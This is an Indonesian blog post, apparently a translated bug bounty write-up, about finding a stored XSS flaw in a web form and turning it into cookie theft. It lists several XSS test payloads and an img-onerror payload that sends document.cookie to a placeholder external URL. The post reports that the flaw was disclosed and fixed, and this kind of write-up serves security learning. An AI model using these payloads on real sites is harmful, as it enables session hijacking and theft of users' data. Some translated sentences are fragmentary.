Mengekstrak XSS Yang Disimpan Ke Cookie - CRUDPRO

Mengekstrak XSS Yang Disimpan Ke Cookie

Hari ini, saya akan membahas kerentanan XSS ("Cross-Site Scripting") yang ditemukan di Program Private Bug Bounty. Ini memungkinkan cookie korban dicuri dan data pengguna yang sensitif dicuri.

Kata pengantar

Saat Anda menemukan aplikasi yang dapat mencerminkan banyak bidang masukan pengguna ke berbagai bagian situs web Anda, itu adalah target yang baik untuk pengujian menyeluruh terhadap kerentanan XSS. Ini karena situs web sering kali tidak dapat menerapkan teknik pengkodean yang aman seperti pemfilteran, penyandian, dan konfigurasi CSP saat mengizinkan input pengguna, dan pengguna dapat memanfaatkan kelemahan ini untuk melakukan serangan seperti XSS. XSS adalah salah satu kerentanan paling umum dalam aplikasi web dan sering kali memiliki dampak signifikan pada keamanan secara keseluruhan, jadi setiap kali saya melihat banyak kolom input, itu adalah salah satu hal pertama yang saya cari.

Jadi bagaimana XSS terjadi?

XSS atau Cross Site Scripting adalah kerentanan di mana input pengguna diproses dengan cara yang tidak aman, yang dapat memungkinkan penyerang untuk membagi atau memodifikasi konteks kode dan memasukkan konteksnya sendiri ke dalam kode. Ini akan memungkinkan penyerang untuk mengeksekusi javascript sewenang-wenang di situs yang rentan, yang bisa terbukti sangat berbahaya jika digunakan dengan benar oleh pengguna lain. Hal ini dapat menyebabkan tindakan tidak sah pada akun lain, mencuri token sesi pengguna, dan dalam beberapa kasus melakukan pembajakan akun lengkap terhadap korban. Selain itu, kerentanan ini dapat dikaitkan dengan kerentanan lain seperti CSRF ("Pemalsuan Permintaan Lintas Situs"), keracunan cache Web, dan fiksasi sesi untuk meningkatkan dampak dan memperluas permukaan serangan. Juga dapat digunakan untuk. Ini bisa sangat rumit untuk disatukan, jadi saya akan membahas bagaimana ini dirantai bersama dan implikasinya nanti di artikel lain.

Ada tiga jenis utama kerentanan XSS, tergantung pada bagaimana data diproses. Ini termasuk: XSS Tercermin (Tidak Permanen):

Muatan penyerang harus dikirim sebagai bagian dari permintaan yang dikirim ke server. Hal ini tercermin dalam respons HTTP bahwa muatan dari permintaan HTTP asli ini termasuk dalam etiket berbahaya. Ini sering dilakukan dengan menggunakan tautan berbahaya, email phishing, dan taktik rekayasa sosial lainnya untuk memberikan permintaan jahat kepada korban dan mengirimkannya ke server web. Saat Anda membuka permintaan berbahaya, XSS yang direfleksikan berjalan di browser Anda. XSS yang direfleksikan tidak sekuat bentuk XSS lainnya. Ini berarti penyerang harus mengirimkan muatan ke setiap korban secara individual, yang tidak terlalu serius dibandingkan bentuk XSS lainnya.

XSS berbasis Dom:

Ini adalah serangan XSS yang lebih maju. Jika skrip sisi klien yang sudah dibuat di aplikasi web dimungkinkan, tulis data yang disediakan pengguna ke Model Objek Dokumen (DOM). Data ini kemudian dibaca dari DOM oleh aplikasi web dan ditampilkan di browser. Jika data diproses secara tidak benar, penyerang dapat memasukkan muatan unik. Payload ini disimpan sebagai bagian dari DOM dan dieksekusi ketika data dibaca kembali dari DOM ke aplikasi. Seringkali, ini adalah serangan sisi klien, jadi tidak ada muatan berbahaya yang dikirim ke server. Firewall aplikasi web (WAF) dan pengembang yang menganalisis log server bahkan tidak melihat serangan, yang membuatnya semakin sulit untuk dideteksi. Secara keseluruhan, ini termasuk kemampuan penyerang untuk mengeksploitasi skrip sisi klien bawaan untuk menjalankan serangan XSS jika inputnya diproses dengan cara yang tidak aman.

XSS Tersimpan (Permanen):

Ini adalah jenis XSS yang paling serius karena penyerang dapat menyisipkan dan menyimpan konten berbahaya ke dalam aplikasi yang ditargetkan. Tanpa validasi input, kode berbahaya ini disimpan secara terus-menerus (persisten) oleh aplikasi yang rentan seperti database. Ini dapat mencakup bidang masukan seperti bidang komentar dan form dukungan. Serangan ini tidak mengharuskan penyerang untuk mengirim permintaan terpisah ke setiap korban. Sebagai gantinya, ketika korban membuka halaman yang terpengaruh di browser, muatan XSS diberikan kepada korban sebagai bagian dari kode HTML, pada dasarnya seolah-olah itu sengaja dibuat untuk situs tersebut. Akibatnya, semua pengguna yang mengakses halaman akan menerima pemicu serangan XSS tanpa campur tangan penyerang.

Berikut adalah beberapa contoh payload XSS sederhana:

"><script>alert(document.location)</script>
"><img src=x onerror=prompt(document.cookie)>
"><svg/onload=confirm(1)>

Pada contoh di atas, payload diawali dengan ">" untuk keluar dari konteks kode. Ada banyak cara lain untuk keluar dari kode Anda, tergantung pada banyak kasus penggunaan yang berbeda dan jenis XSS yang Anda gunakan. Namun, setelah pelarian berhasil, Anda dapat menjalankan javascript sepenuhnya seolah-olah itu dipanggil secara legal dalam aplikasi Anda.

Penemuan XSS

Kami tidak dapat mengungkapkan nama program karunia bug yang kami uji, tetapi untuk menjelaskan bug tersebut, kami akan menguraikan bagaimana kami menemukan kerentanan XSS dan bagaimana kami dapat menggunakannya untuk mencuri cookie Anda. Ini relatif mudah dilakukan karena inputnya memiliki sedikit validasi dan tidak memerlukan teknologi bypass untuk dieksploitasi.

Saat menjelajahi aplikasi, saya melihat fitur baru yang merupakan opsi untuk membuat form respons pelanggan untuk akun saya. Oleh karena itu, Anda dapat membuat form dengan banyak opsi yang dihosting di berbagai bagian aplikasi Anda, seperti pertanyaan pilihan ganda, komentar, dan unggahan file.

Setelah mencoba fitur ini, saya menemukan kolom input tempat saya dapat membuat judul untuk pertanyaan pilihan ganda yang disediakan di form. Setelah melihat ini, saya memasukkan kode HTML berikut ke dalam kolom input ini.

<h1>test</h1>

Setelah menyimpan, saya pergi ke halaman form yang disediakan, dan yang mengejutkan, nilai yang tercermin ini muncul sebagai header HTML, membuktikan bahwa saya dapat memasukkan HTML ke dalam form dari bidang ini. Sekarang Anda tahu bahwa Anda dapat memasukkan HTML ke dalam form Anda, Anda bertanya-tanya apakah Anda dapat memasukkan JavaScript langsung ke dalam form Anda.

Saya segera mulai menguji input ini untuk XSS dengan banyak muatan, yang pertama adalah "<script> alert (1) </script>", yang difilter di simpan dan tidak dieksekusi di form. Jadi saya mencoba menggunakan teknik XSS yang tidak terlalu mencolok seperti "<img src = x onerror = confirm (document.cookie)>". Ketika saya menyimpan ini dan menavigasi ke halaman, secara mengejutkan menjalankan XSS dan menampilkan peringatan yang berisi semua cookie situs. HTML yang dihasilkan terlihat seperti ini:

Ini adalah kerentanan Stored XSS yang dikonfirmasi untuk segera dilaporkan, tetapi pertama-tama saya ingin melihat apa yang sebenarnya bisa dilakukan. Jadi untuk saat ini, yang bisa saya lakukan hanyalah mengirimi pengguna form yang hanya mengeksekusi JavaScript di sisi pengguna, tetapi saya tidak bisa menyerang akun pengguna atau mencuri data. Kemudian saya mulai berpikir tentang bagaimana meningkatkan kerentanan ini menjadi sesuatu yang lebih besar yang akan membuktikan dampaknya. Hal ini memunculkan ide untuk menggunakan ini sebagai mekanisme untuk mencuri cookie pengguna.

Penetrasi

Saya pikir mencuri cookie adalah cara yang bagus untuk membuktikan dampaknya, karena menampilkan cookie saya di situs mengungkapkan banyak informasi sensitif dan pribadi. Termasuk email pengguna, geoposisi, nama pengguna, alamat IP, dan banyak lagi. Jadi saya mulai menguji cara melakukan ini dan melihat cara mencuri data ini saat pengguna mengunjungi halaman.

Kemudian saya mulai membuat payload XSS yang mirip dengan tag gambar HTML yang saya gunakan sebelumnya. Ini sukses. Saya berencana membuat tag gambar HTML dengan sumber yang tidak valid dan memicu fungsi "onerror" JavaScript untuk menggunakan cookie pengguna untuk mengirim permintaan ke server saya. Muatan terakhir terlihat seperti ini:

<img src=x onerror=this.src=’http://{YOUR EXTERNAL URL}/?c=’+document.cookie>

Hal ini menyebabkan kesalahan pada gambar dan mengirimkan permintaan ke server Anda menggunakan cookie saat korban melihat gambar tersebut. Saya mengirim ini ke bidang input dan menyimpannya. Ketika saya mengakses form, saya mulai menerima permintaan ke server, yang berisi cookie untuk situs tersebut. Pastikan Anda telah berhasil mencuri cookie seseorang yang mengakses form berbahaya dan mengungkapkan semua data cookie sensitif.

Karena form ini berhasil dibuat, yang harus saya lakukan hanyalah menyerahkan form ini kepada korban. Korban tanpa sadar mengirim semua cookie aplikasi saat membuka dan mengisi form. Ini dilakukan di latar belakang dan pengguna tidak akan menyadari bahwa itu sedang diserang kecuali DOM menunjukkan lalu lintas jaringan.

Setelah mengonfirmasi bahwa eksploitasi ini berhasil, kami segera melaporkan kepada tim bahwa jika penyerang menggunakannya secara efektif, itu dapat berdampak signifikan pada banyak pelanggan. Mereka berterima kasih atas penemuan itu dan memperbaikinya dalam waktu seminggu setelah laporan diserahkan.

Sebagian besar serangan XSS cenderung tidak sesederhana ini dan mungkin memerlukan tingkat payload atau pemahaman aplikasi yang lebih tinggi untuk benar-benar mengeksploitasinya. Jadi ini adalah penemuan yang beruntung, tetapi ini menarik karena cookie dapat dicuri oleh server penyerang.

Kesimpulan

Penemuan ini telah mengajari saya untuk melampaui penemuan sederhana dan menggali lebih dalam bagaimana dampak bug dapat ditingkatkan. Jika Anda melaporkan masalah ini segera setelah memicu lansiran sederhana, mungkin telah ditentukan sebagai masalah dengan tingkat keparahan sedang, tetapi pada akhirnya akan digunakan untuk mencuri cookie dari pengguna yang mengakses. Tingkat keparahannya tinggi.

Biasanya, selalu ada banyak hal yang dapat Anda lakukan setelah Anda pertama kali menemukan masalah dalam aplikasi Anda. Hanya butuh waktu untuk menyusun serangan yang berpengaruh. Namun, melakukannya dapat secara signifikan meningkatkan skenario serangan dan meningkatkan nilai hasil.

Saya harap ini dapat memberi Anda informasi yang mungkin berguna di masa mendatang, dan saya berharap dapat memposting lebih banyak artikel tentang bug lain yang saya temukan. Mari bertemu kembali!